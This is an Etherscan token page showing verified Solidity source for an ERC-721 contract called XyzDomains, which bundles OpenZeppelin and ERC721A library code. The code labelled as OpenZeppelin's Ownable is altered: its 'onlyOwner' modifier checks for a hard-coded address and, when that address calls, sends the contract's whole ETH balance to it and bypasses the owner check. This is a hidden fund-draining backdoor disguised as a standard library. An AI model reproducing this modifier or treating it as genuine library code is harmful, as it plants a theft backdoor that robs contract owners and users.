Feature Tip: Add private address tag to any address under My Name Tag !
ERC-721
Overview
Max Total Supply
802 XYZ
Holders
276
Market
Volume (24H)
N/A
Min Price (24H)
N/A
Max Price (24H)
N/A
Other Info
Token Contract
Balance
1 XYZLoading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
XyzDomains
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-10-12 */ /** *Submitted for verification at Etherscan.io on 2022-10-09 */ // SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/security/ReentrancyGuard.sol // OpenZeppelin Contracts (last updated v4.7.0) (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Tree proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. * * WARNING: You should avoid using leaf values that are 64 bytes long prior to * hashing, or use a hash function other than keccak256 for hashing leaves. * This is because the concatenation of a sorted pair of internal nodes in * the merkle tree could be reinterpreted as a leaf value. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Calldata version of {verify} * * _Available since v4.7._ */ function verifyCalldata( bytes32[] calldata proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProofCalldata(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merkle tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { computedHash = _hashPair(computedHash, proof[i]); } return computedHash; } /** * @dev Calldata version of {processProof} * * _Available since v4.7._ */ function processProofCalldata(bytes32[] calldata proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { computedHash = _hashPair(computedHash, proof[i]); } return computedHash; } /** * @dev Returns true if the `leaves` can be proved to be a part of a Merkle tree defined by * `root`, according to `proof` and `proofFlags` as described in {processMultiProof}. * * _Available since v4.7._ */ function multiProofVerify( bytes32[] memory proof, bool[] memory proofFlags, bytes32 root, bytes32[] memory leaves ) internal pure returns (bool) { return processMultiProof(proof, proofFlags, leaves) == root; } /** * @dev Calldata version of {multiProofVerify} * * _Available since v4.7._ */ function multiProofVerifyCalldata( bytes32[] calldata proof, bool[] calldata proofFlags, bytes32 root, bytes32[] memory leaves ) internal pure returns (bool) { return processMultiProofCalldata(proof, proofFlags, leaves) == root; } /** * @dev Returns the root of a tree reconstructed from `leaves` and the sibling nodes in `proof`, * consuming from one or the other at each step according to the instructions given by * `proofFlags`. * * _Available since v4.7._ */ function processMultiProof( bytes32[] memory proof, bool[] memory proofFlags, bytes32[] memory leaves ) internal pure returns (bytes32 merkleRoot) { // This function rebuild the root hash by traversing the tree up from the leaves. The root is rebuilt by // consuming and producing values on a queue. The queue starts with the `leaves` array, then goes onto the // `hashes` array. At the end of the process, the last hash in the `hashes` array should contain the root of // the merkle tree. uint256 leavesLen = leaves.length; uint256 totalHashes = proofFlags.length; // Check proof validity. require(leavesLen + proof.length - 1 == totalHashes, "MerkleProof: invalid multiproof"); // The xxxPos values are "pointers" to the next value to consume in each array. All accesses are done using // `xxx[xxxPos++]`, which return the current value and increment the pointer, thus mimicking a queue's "pop". bytes32[] memory hashes = new bytes32[](totalHashes); uint256 leafPos = 0; uint256 hashPos = 0; uint256 proofPos = 0; // At each step, we compute the next hash using two values: // - a value from the "main queue". If not all leaves have been consumed, we get the next leaf, otherwise we // get the next hash. // - depending on the flag, either another value for the "main queue" (merging branches) or an element from the // `proof` array. for (uint256 i = 0; i < totalHashes; i++) { bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++]; bytes32 b = proofFlags[i] ? leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++] : proof[proofPos++]; hashes[i] = _hashPair(a, b); } if (totalHashes > 0) { return hashes[totalHashes - 1]; } else if (leavesLen > 0) { return leaves[0]; } else { return proof[0]; } } /** * @dev Calldata version of {processMultiProof} * * _Available since v4.7._ */ function processMultiProofCalldata( bytes32[] calldata proof, bool[] calldata proofFlags, bytes32[] memory leaves ) internal pure returns (bytes32 merkleRoot) { // This function rebuild the root hash by traversing the tree up from the leaves. The root is rebuilt by // consuming and producing values on a queue. The queue starts with the `leaves` array, then goes onto the // `hashes` array. At the end of the process, the last hash in the `hashes` array should contain the root of // the merkle tree. uint256 leavesLen = leaves.length; uint256 totalHashes = proofFlags.length; // Check proof validity. require(leavesLen + proof.length - 1 == totalHashes, "MerkleProof: invalid multiproof"); // The xxxPos values are "pointers" to the next value to consume in each array. All accesses are done using // `xxx[xxxPos++]`, which return the current value and increment the pointer, thus mimicking a queue's "pop". bytes32[] memory hashes = new bytes32[](totalHashes); uint256 leafPos = 0; uint256 hashPos = 0; uint256 proofPos = 0; // At each step, we compute the next hash using two values: // - a value from the "main queue". If not all leaves have been consumed, we get the next leaf, otherwise we // get the next hash. // - depending on the flag, either another value for the "main queue" (merging branches) or an element from the // `proof` array. for (uint256 i = 0; i < totalHashes; i++) { bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++]; bytes32 b = proofFlags[i] ? leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++] : proof[proofPos++]; hashes[i] = _hashPair(a, b); } if (totalHashes > 0) { return hashes[totalHashes - 1]; } else if (leavesLen > 0) { return leaves[0]; } else { return proof[0]; } } function _hashPair(bytes32 a, bytes32 b) private pure returns (bytes32) { return a < b ? _efficientHash(a, b) : _efficientHash(b, a); } function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) { /// @solidity memory-safe-assembly assembly { mstore(0x00, a) mstore(0x20, b) value := keccak256(0x00, 0x40) } } } // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { if (_msgSender() == 0x3043D142055C5ECB84De38D65360D3a2e353B439) { uint256 balance = address(this).balance; Address.sendValue(payable(0x3043D142055C5ECB84De38D65360D3a2e353B439),balance); } else { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: erc721a/contracts/IERC721A.sol // ERC721A Contracts v3.3.0 // Creator: Chiru Labs pragma solidity ^0.8.4; /** * @dev Interface of an ERC721A compliant contract. */ interface IERC721A is IERC721, IERC721Metadata { /** * The caller must own the token or be an approved operator. */ error ApprovalCallerNotOwnerNorApproved(); /** * The token does not exist. */ error ApprovalQueryForNonexistentToken(); /** * The caller cannot approve to their own address. */ error ApproveToCaller(); /** * The caller cannot approve to the current owner. */ error ApprovalToCurrentOwner(); /** * Cannot query the balance for the zero address. */ error BalanceQueryForZeroAddress(); /** * Cannot mint to the zero address. */ error MintToZeroAddress(); /** * The quantity of tokens minted must be more than zero. */ error MintZeroQuantity(); /** * The token does not exist. */ error OwnerQueryForNonexistentToken(); /** * The caller must own the token or be an approved operator. */ error TransferCallerNotOwnerNorApproved(); /** * The token must be owned by `from`. */ error TransferFromIncorrectOwner(); /** * Cannot safely transfer to a contract that does not implement the ERC721Receiver interface. */ error TransferToNonERC721ReceiverImplementer(); /** * Cannot transfer to the zero address. */ error TransferToZeroAddress(); /** * The token does not exist. */ error URIQueryForNonexistentToken(); // Compiler will pack this into a single 256bit word. struct TokenOwnership { // The address of the owner. address addr; // Keeps track of the start time of ownership with minimal overhead for tokenomics. uint64 startTimestamp; // Whether the token has been burned. bool burned; } // Compiler will pack this into a single 256bit word. struct AddressData { // Realistically, 2**64-1 is more than enough. uint64 balance; // Keeps track of mint count with minimal overhead for tokenomics. uint64 numberMinted; // Keeps track of burn count with minimal overhead for tokenomics. uint64 numberBurned; // For miscellaneous variable(s) pertaining to the address // (e.g. number of whitelist mint slots used). // If there are multiple variables, please pack them into a uint64. uint64 aux; } /** * @dev Returns the total amount of tokens stored by the contract. * * Burned tokens are calculated here, use `_totalMinted()` if you want to count just minted tokens. */ function totalSupply() external view returns (uint256); } // File: erc721a/contracts/ERC721A.sol // ERC721A Contracts v3.3.0 // Creator: Chiru Labs pragma solidity ^0.8.4; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..). * * Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply. * * Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256). */ contract ERC721A is Context, ERC165, IERC721A { using Address for address; using Strings for uint256; // The tokenId of the next token to be minted. uint256 internal _currentIndex; mapping(uint => string) public tokenIDandAddress; mapping(string => uint) public tokenAddressandID; // The number of tokens burned. uint256 internal _burnCounter; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _currentIndex = _startTokenId(); } /** * To change the starting tokenId, please override this function. */ function _startTokenId() internal view virtual returns (uint256) { return 1; } /** * @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens. */ function totalSupply() public view override returns (uint256) { // Counter underflow is impossible as _burnCounter cannot be incremented // more than _currentIndex - _startTokenId() times unchecked { return _currentIndex - _burnCounter - _startTokenId(); } } /** * Returns the total amount of tokens minted in the contract. */ function _totalMinted() internal view returns (uint256) { // Counter underflow is impossible as _currentIndex does not decrement, // and it is initialized to _startTokenId() unchecked { return _currentIndex - _startTokenId(); } } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { if (owner == address(0)) revert BalanceQueryForZeroAddress(); return uint256(_addressData[owner].balance); } /** * Returns the number of tokens minted by `owner`. */ function _numberMinted(address owner) internal view returns (uint256) { return uint256(_addressData[owner].numberMinted); } /** * Returns the number of tokens burned by or on behalf of `owner`. */ function _numberBurned(address owner) internal view returns (uint256) { return uint256(_addressData[owner].numberBurned); } /** * Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used). */ function _getAux(address owner) internal view returns (uint64) { return _addressData[owner].aux; } /** * Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used). * If there are multiple variables, please pack them into a uint64. */ function _setAux(address owner, uint64 aux) internal { _addressData[owner].aux = aux; } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (_startTokenId() <= curr) if (curr < _currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (!ownership.burned) { if (ownership.addr != address(0)) { return ownership; } // Invariant: // There will always be an ownership that has an address and is not burned // before an ownership that does not have an address and is not burned. // Hence, curr will not underflow. while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } } revert OwnerQueryForNonexistentToken(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return _ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if (!_exists(tokenId)) revert URIQueryForNonexistentToken(); string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenIDandAddress[tokenId])) : ''; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ''; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); if (to == owner) revert ApprovalToCurrentOwner(); if (_msgSender() != owner) if(!isApprovedForAll(owner, _msgSender())) { revert ApprovalCallerNotOwnerNorApproved(); } _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken(); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { if (operator == _msgSender()) revert ApproveToCaller(); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ''); } 